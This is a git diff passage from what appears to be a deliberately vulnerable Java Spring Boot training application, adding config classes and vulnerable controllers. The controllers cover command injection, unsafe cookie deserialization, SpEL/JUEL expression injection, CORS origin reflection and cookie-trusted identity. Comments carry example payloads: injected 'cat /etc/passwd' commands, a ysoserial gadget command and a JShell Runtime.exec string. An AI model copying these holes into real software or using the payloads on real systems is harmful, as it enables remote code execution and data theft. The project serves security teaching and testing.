org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; + +/** + * Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html + */ + +@Configuration +public class CsrfTokenBean { + + @Bean + public CookieCsrfTokenRepository cookieCsrfTokenRepository() { + return CookieCsrfTokenRepository.withHttpOnlyFalse(); + } +} diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java new file mode 100644 index 00000000..339fcbf3 --- /dev/null +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -0,0 +1,50 @@ +package org.joychou.config; + +import org.joychou.security.CustomCorsProcessor; +//import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +@Configuration +//public class CustomCorsConfig extends WebMvcRegistrationsAdapter { +public class CustomCorsConfig implements WebMvcConfigurer { // Ref: https://www.baeldung.com/web-mvc-configurer-adapter-deprecated + +/** + * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + */ + @Bean + public WebMvcConfigurer corsConfigurer() { + return new WebMvcConfigurerAdapter() { + @Override + public void addCorsMappings(CorsRegistry registry) { + // 为了支持一级域名,重写了checkOrigin + //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; + registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path + //.allowedOrigins(allowOrigins) + .allowedMethods("GET", "POST") + .allowCredentials(true); + } + }; + } + + +// @Override +// public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { +// return new CustomRequestMappingHandlerMapping(); +// } + + + /** + * 自定义Cors处理器,重写了checkOrigin + * 自定义校验origin,支持一级域名校验 && 多级域名 + */ + private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping { + private CustomRequestMappingHandlerMapping() { + setCorsProcessor(new CustomCorsProcessor()); + } + } +} diff --git a/src/main/java/org/joychou/config/Knife4jConfig.java b/src/main/java/org/joychou/config/Knife4jConfig.java new file mode 100644 index 00000000..b5718d80 --- /dev/null +++ b/src/main/java/org/joychou/config/Knife4jConfig.java @@ -0,0 +1,45 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.env.Environment; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.Contact; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spring.web.plugins.Docket; +//import springfox.documentation.swagger2.annotations.EnableSwagger2WebMvc; + +import java.util.ArrayList; + +// Ref: https://www.cnblogs.com/dxiaodang/p/14603610.html +public class Knife4jConfig { + + @Autowired + private Environment environment; + + @Bean + public Docket docket() { + + return new Docket(DocumentationType.SWAGGER_2) + .apiInfo(apiInfo()) + .groupName("分组名称") // 配置api文档的分组 + .select() + .apis(RequestHandlerSelectors.basePackage("com.ruyidan")) //配置扫描路径 + .paths(PathSelectors.any()) // 配置过滤哪些 + .build(); + } + // api基本信息 + private ApiInfo apiInfo() { + return new ApiInfo("dxiaodang's swagger", + "测试swagger-ui", + "v1.0", + "http://mail.qq.com", + new Contact("dangbo", "http://mail.qq.com", "145xxxxx@qq.com"), //作者信息 + "Apache 2.0", + "http://www.apache.org/licenses/LICENSE-2.0", + new ArrayList()); + } +} diff --git a/src/main/java/org/joychou/config/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java new file mode 100644 index 00000000..595ed340 --- /dev/null +++ b/src/main/java/org/joychou/config/Object2Jsonp.java @@ -0,0 +1,100 @@ +//package org.joychou.config; +// +//import org.apache.commons.lang.StringUtils; +//import org.joychou.security.SecurityUtil; +//import org.slf4j.Logger; +//import org.slf4j.LoggerFactory; +//import org.springframework.beans.factory.annotation.Value; +//import org.springframework.core.MethodParameter; +//import org.springframework.http.MediaType; +//import org.springframework.http.converter.json.MappingJacksonValue; +//import org.springframework.http.server.ServerHttpRequest; +//import org.springframework.http.server.ServerHttpResponse; +//import org.springframework.http.server.ServletServerHttpRequest; +//import org.springframework.http.server.ServletServerHttpResponse; +//import org.springframework.web.bind.annotation.ControllerAdvice; +//import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; +// +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +// +// +// +///** +// * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. +// * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 +// */ +//@ControllerAdvice +//public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { +// +// private final String[] callbacks; +// private final Logger logger= LoggerFactory.getLogger(this.getClass()); +// +// +// // method of using @Value in constructor +// public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { +// super(callbacks); // Can set multiple paramNames +// this.callbacks = callbacks; +// } +// +// +// // Check referer +// @Override +// protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, +// MethodParameter returnType, ServerHttpRequest req, +// ServerHttpResponse res) { +// +// HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); +// HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); +// +// String realJsonpFunc = getRealJsonpFunc(request); +// // 如果url带callback,且校验不安全后 +// if ( StringUtils.isNotBlank(realJsonpFunc) ) { +// jsonpReferHandler(request, response); +// } +// super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); +// } +// +// /** +// * @return 获取实际jsonp的callback +// */ +// private String getRealJsonpFunc(HttpServletRequest req) { +// +// String reqCallback = null; +// for (String callback: this.callbacks) { +// reqCallback = req.getParameter(callback); +// if(StringUtils.isNotBlank(reqCallback)) { +// break; +// } +// } +// return reqCallback; +// } +// +// // 校验Jsonp的Referer +// private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { +// +// String refer = request.getHeader("referer"); +// String url = request.getRequestURL().toString(); +// String query = request.getQueryString(); +// +// // 如果jsonp校验的开关为false,不校验 +// if ( !WebConfig.getJsonpReferCheckEnabled() ) { +// return; +// } +// +// // 校验jsonp逻辑,如果不安全,返回forbidden +// if (SecurityUtil.checkURL(refer) == null ){ +// logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); +// try{ +// // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 +//// response.setStatus(HttpServletResponse.SC_FORBIDDEN); +//// response.getWriter().write(" Referer check error."); +//// response.flushBuffer(); +// response.sendRedirect(Constants.ERROR_PAGE); +// } catch (Exception e){ +// logger.error(e.toString()); +// } +// +// } +// } +//} diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java new file mode 100644 index 00000000..de2d0bd7 --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainConfig.java @@ -0,0 +1,29 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +/** + * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。 + */ +@Configuration +public class SafeDomainConfig { + + private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); + + @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 + public SafeDomainParser safeDomainParser() { + try { + LOGGER.info("SafeDomainParser bean inject successfully!!!"); + return new SafeDomainParser(); + } catch (Exception e) { + LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); + } + return null; + } + +} + diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java new file mode 100644 index 00000000..b92ff9eb --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -0,0 +1,140 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.ClassPathResource; +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import java.io.File; +import java.util.ArrayList; + +public class SafeDomainParser { + + private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class); + + public SafeDomainParser() { + + String rootTag = "domains"; + String safeDomainTag = "safedomains"; + String blockDomainTag = "blockdomains"; + String finalTag = "domain"; + String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml"; + ArrayList safeDomains = new ArrayList<>(); + ArrayList blockDomains = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(safeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(safeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node finalTagNode = tagChild.item(j); + // 解析safeDomains节点里的domain节点 + if (finalTagNode.getNodeName().equals(finalTag)) { + safeDomains.add(finalTagNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(blockDomainTag)) { + NodeList finalTagNode = node.getChildNodes(); + for (int j = 0; j < finalTagNode.getLength(); j++) { + Node tagNode = finalTagNode.item(j); + // 解析blockDomains节点里的domain节点 + if (tagNode.getNodeName().equals(finalTag)) { + blockDomains.add(tagNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + WebConfig wc = new WebConfig(); + wc.setSafeDomains(safeDomains); + logger.info(safeDomains.toString()); + wc.setBlockDomains(blockDomains); + + // 解析SSRF配置 + String ssrfRootTag = "ssrfsafeconfig"; + String ssrfSafeDomainTag = "safedomains"; + String ssrfBlockDomainTag = "blockdomains"; + String ssrfBlockIpsTag = "blockips"; + String ssrfFinalTag = "domain"; + String ssrfIpFinalTag = "ip"; + String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml"; + + ArrayList ssrfSafeDomains = new ArrayList<>(); + ArrayList ssrfBlockDomains = new ArrayList<>(); + ArrayList ssrfBlockIps = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + // 修复打包成jar包运行,不能读取文件的bug + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点 + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(ssrfSafeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfSafeDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfBlockDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockIpsTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + // 解析 blockIps 节点里的 ip 节点 + if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) { + ssrfBlockIps.add(tagFinalNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + logger.info(ssrfBlockIps.toString()); + wc.setSsrfBlockDomains(ssrfBlockDomains); + wc.setSsrfBlockIps(ssrfBlockIps); + wc.setSsrfSafeDomains(ssrfSafeDomains); + } +} + + + + diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java new file mode 100644 index 00000000..3a1e3495 --- /dev/null +++ b/src/main/java/org/joychou/config/SwaggerConfig.java @@ -0,0 +1,31 @@ +//package org.joychou.config; +// +//import org.springframework.beans.factory.annotation.Value; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import springfox.documentation.builders.PathSelectors; +//import springfox.documentation.builders.RequestHandlerSelectors; +// +//import springfox.documentation.spi.DocumentationType; +//import springfox.documentation.spring.web.plugins.Docket; +//import springfox.documentation.swagger2.annotations.EnableSwagger2; +// +// +//@Configuration +//@EnableSwagger2 +//public class SwaggerConfig { +// +// @Value("${swagger.enable}") +// private boolean enableSwagger; +// +// @Bean +// public Docket api() { +// return new Docket(DocumentationType.SWAGGER_2) +// .enable(enableSwagger) +// .select() +// .apis(RequestHandlerSelectors.any()) +// .paths(PathSelectors.any()) +// .build(); +// } +// +//} diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java new file mode 100644 index 00000000..28ee6967 --- /dev/null +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -0,0 +1,138 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import java.util.ArrayList; + + +/** + * Solve can't get value in filter by @Value when not using embed tomcat. + * + * @author JoyChou @2019-07-24 + */ +@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig +public class WebConfig { + + private static String[] callbacks; + private static Boolean jsonpReferCheckEnabled = false; + private static String[] jsonpRefererHost; + private static String[] referWhitelist; + private static String[] referUris; + private static Boolean referSecEnabled = false; + private static String businessCallback; + private static ArrayList safeDomains = new ArrayList<>(); + private static ArrayList blockDomains = new ArrayList<>(); + private static ArrayList ssrfSafeDomains = new ArrayList<>(); + private static ArrayList ssrfBlockDomains = new ArrayList<>(); + private static ArrayList ssrfBlockIps = new ArrayList<>(); + + /** + * application.properties里object自动转jsonp的referer校验开关 + * + * @param jsonpReferCheckEnabled jsonp校验开关 + */ + @Value("${joychou.security.jsonp.referer.check.enabled}") + public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) { + WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled; + } + + public static Boolean getJsonpReferCheckEnabled() { + return jsonpReferCheckEnabled; + } + + + @Value("${joychou.security.jsonp.callback}") + public void setJsonpCallbacks(String[] callbacks) { + WebConfig.callbacks = callbacks; + } + + public static String[] getJsonpCallbacks() { + return callbacks; + } + + + @Value("${joychou.security.referer.enabled}") + public void setReferSecEnabled(Boolean referSecEnabled) { + WebConfig.referSecEnabled = referSecEnabled; + } + + public static Boolean getReferSecEnabled() { + return referSecEnabled; + } + + + @Value("${joychou.security.referer.host}") + public void setReferWhitelist(String[] referWhitelist) { + WebConfig.referWhitelist = referWhitelist; + } + + public static String[] getReferWhitelist() { + return referWhitelist; + } + + + @Value("${joychou.security.referer.uri}") + public void setReferUris(String[] referUris) { + WebConfig.referUris = referUris; + } + + public static String[] getReferUris() { + return referUris; + } + + + @Value("${joychou.business.callback}") + public void setBusinessCallback(String businessCallback) { + WebConfig.businessCallback = businessCallback; + } + + public static String getBusinessCallback() { + return businessCallback; + } + + + void setSafeDomains(ArrayList safeDomains) { + WebConfig.safeDomains = safeDomains; + } + + public static ArrayList getSafeDomains() { + return safeDomains; + } + + + void setBlockDomains(ArrayList blockDomains) { + WebConfig.blockDomains = blockDomains; + } + + public static ArrayList getBlockDomains() { + return blockDomains; + } + + + void setSsrfSafeDomains(ArrayList ssrfSafeDomains) { + WebConfig.ssrfSafeDomains = ssrfSafeDomains; + } + + public static ArrayList getSsrfSafeDomains() { + return ssrfSafeDomains; + } + + + void setSsrfBlockDomains(ArrayList ssrfBlockDomains) { + WebConfig.ssrfBlockDomains = ssrfBlockDomains; + } + + public static ArrayList getSsrfBlockDomainsDomains() { + return ssrfBlockDomains; + } + + + void setSsrfBlockIps(ArrayList ssrfBlockIps) { + WebConfig.ssrfBlockIps = ssrfBlockIps; + } + + public static ArrayList getSsrfBlockIps() { + return ssrfBlockIps; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java new file mode 100644 index 00000000..b0b0e9f2 --- /dev/null +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8) + * + * @author JoyChou (joychou@joychou.org) @2018-01-03 + */ +@Controller +@RequestMapping("/crlf") +public class CRLFInjection { + + @RequestMapping("/safecode") + @ResponseBody + public void crlf(HttpServletRequest request, HttpServletResponse response) { + response.addHeader("test1", request.getParameter("test1")); + response.setHeader("test2", request.getParameter("test2")); + String author = request.getParameter("test3"); + Cookie cookie = new Cookie("test3", author); + response.addCookie(cookie); + } +} diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java new file mode 100644 index 00000000..21147270 --- /dev/null +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * check csrf using spring-security + * Access http://localhost:8080/csrf/ -> click submit + * + * @author JoyChou (joychou@joychou.org) @2019-05-31 + */ +@Controller +@RequestMapping("/csrf") +public class CSRF { + + @GetMapping("/") + public String index() { + return "form"; + } + + @PostMapping("/post") + @ResponseBody + public String post() { + return "CSRF passed."; + } +} diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java new file mode 100644 index 00000000..a1a99035 --- /dev/null +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -0,0 +1,63 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; + +@RestController +public class CommandInject { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd + * + * @param filepath filepath + * @return result + */ + @GetMapping("/codeinject") + public String codeInject(String filepath) throws IOException { + + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + /** + * Host Injection + * Host: hacked by joychou;cat /etc/passwd + * http://localhost:8080/codeinject/host + */ + @GetMapping("/codeinject/host") + public String codeInjectHost(HttpServletRequest request) throws IOException { + + String host = request.getHeader("host"); + logger.info(host); + String[] cmdList = new String[]{"sh", "-c", "curl " + host}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + @GetMapping("/codeinject/sec") + public String codeInjectSec(String filepath) throws IOException { + String filterFilePath = SecurityUtil.cmdFilter(filepath); + if (null == filterFilePath) { + return "Bad boy. I got u."; + } + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } +} diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java new file mode 100644 index 00000000..6f0c7be2 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -0,0 +1,87 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; + +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RestController; + +import static org.springframework.web.util.WebUtils.getCookie; + + +/** + * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。 + */ +@RestController +@RequestMapping("/cookie") +public class Cookies { + + private static String NICK = "nick"; + + @GetMapping(value = "/vuln01") + public String vuln01(HttpServletRequest req) { + String nick = WebUtils.getCookieValueByName(req, NICK); // key code + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln02") + public String vuln02(HttpServletRequest req) { + String nick = null; + Cookie[] cookie = req.getCookies(); + + if (cookie != null) { + nick = getCookie(req, NICK).getValue(); // key code + } + + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln03") + public String vuln03(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + // key code. Equals can also be equalsIgnoreCase. + if (NICK.equals(cookie.getName())) { + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln04") + public String vuln04(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equalsIgnoreCase(NICK)) { // key code + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln05") + public String vuln05(@CookieValue("nick") String nick) { + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln06") + public String vuln06(@CookieValue(value = "nick") String nick) { + return "Cookie nick: " + nick; + } + +} diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java new file mode 100644 index 00000000..5b7d9741 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cors.java @@ -0,0 +1,119 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author JoyChou (joychou@joychou.org) @2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/CORS + */ + +@RestController +@RequestMapping("/cors") +public class Cors { + + private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; + + @GetMapping("/vuln/origin") + public String vuls1(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("origin"); + response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header + response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie + return info; + } + + @GetMapping("/vuln/setHeader") + public String vuls2(HttpServletResponse response) { + // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 + response.setHeader("Access-Control-Allow-Origin", "*"); + return info; + } + + + @GetMapping("*") + @RequestMapping("/vuln/crossOrigin") + public String vuls3() { + return info; + } + + + /** + * 重写Cors的checkOrigin校验方法 + * 支持自定义checkOrigin,让其额外支持一级域名 + * 代码:org/joychou/security/CustomCorsProcessor + */ + @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) + @GetMapping("/sec/crossOrigin") + public String secCrossOrigin() { + return info; + } + + + /** + * WebMvcConfigurer设置Cors + * 支持自定义checkOrigin + * 代码:org/joychou/config/CorsConfig.java + */ + @GetMapping("/sec/webMvcConfigurer") + public CsrfToken getCsrfToken_01(CsrfToken token) { + return token; + } + + + /** + * spring security设置cors + * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 + * 代码:org/joychou/security/WebSecurityConfig.java + */ + @GetMapping("/sec/httpCors") + public CsrfToken getCsrfToken_02(CsrfToken token) { + return token; + } + + + /** + * 自定义filter设置cors + * 支持自定义checkOrigin + * 代码:org/joychou/filter/OriginFilter.java + */ + @GetMapping("/sec/originFilter") + public CsrfToken getCsrfToken_03(CsrfToken token) { + return token; + } + + + /** + * CorsFilter设置cors。 + * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 + * 代码:org/joychou/filter/BaseCorsFilter.java + */ + @RequestMapping("/sec/corsFilter") + public CsrfToken getCsrfToken_04(CsrfToken token) { + return token; + } + + + @GetMapping("/sec/checkOrigin") + public String seccode(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("Origin"); + + // 如果origin不为空并且origin不在白名单内,认定为不安全。 + // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 + if (origin != null && SecurityUtil.checkURL(origin) == null) { + return "Origin is not safe."; + } + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + return LoginUtils.getUserInfo2JsonStr(request); + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java new file mode 100644 index 00000000..45662e9c --- /dev/null +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -0,0 +1,89 @@ +package org.joychou.controller; + +import org.joychou.config.Constants; +import org.joychou.security.AntObjectInputStream; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; +import java.io.ObjectInputStream; +import java.util.Base64; + +import static org.springframework.web.util.WebUtils.getCookie; + +/** + * Deserialize RCE using Commons-Collections gadget. + * + * @author JoyChou @2018-06-14 + */ +@RestController +@RequestMapping("/deserialize") +public class Deserialize { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 + * Add the result to rememberMe cookie. + *

+ * http://localhost:8080/deserialize/rememberMe/vuln + */ + @RequestMapping("/rememberMe/vuln") + public String rememberMeVul(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + + return "Are u ok?"; + } + + /** + * Check deserialize class using black list. + *

+ * http://localhost:8080/deserialize/rememberMe/security + */ + @RequestMapping("/rememberMe/security") + public String rememberMeBlackClassCheck(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + + try { + AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException + in.readObject(); + in.close(); + } catch (InvalidClassException e) { + logger.info(e.toString()); + return e.toString(); + } + + return "I'm very OK."; + } + +} diff --git a/src/main/java/org/joychou/controller/EL.java b/src/main/java/org/joychou/controller/EL.java new file mode 100644 index 00000000..8b6463a6 --- /dev/null +++ b/src/main/java/org/joychou/controller/EL.java @@ -0,0 +1,173 @@ +package org.joychou.controller; + +import org.flowable.common.engine.api.variable.VariableContainer; +import org.flowable.engine.impl.el.ProcessExpressionManager; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.servlet.handler.AbstractHandlerMapping; + +import javax.el.ELProcessor; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.LinkedHashSet; + + +@RestController +public class EL { + + @RequestMapping("/el") + public String el(String expression) { + ExpressionParser parser = new SpelExpressionParser(); + // fix method: SimpleEvaluationContext + return parser.parseExpression(expression).getValue().toString(); + } + + @RequestMapping("/juel") + public String juel(String expression) { +// String payload = "${''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"notepad\")')}"; + + + Object result = new ProcessExpressionManager().createExpression(expression).getValue(new VariableContainer() { + @Override + public boolean hasVariable(String s) { + return false; 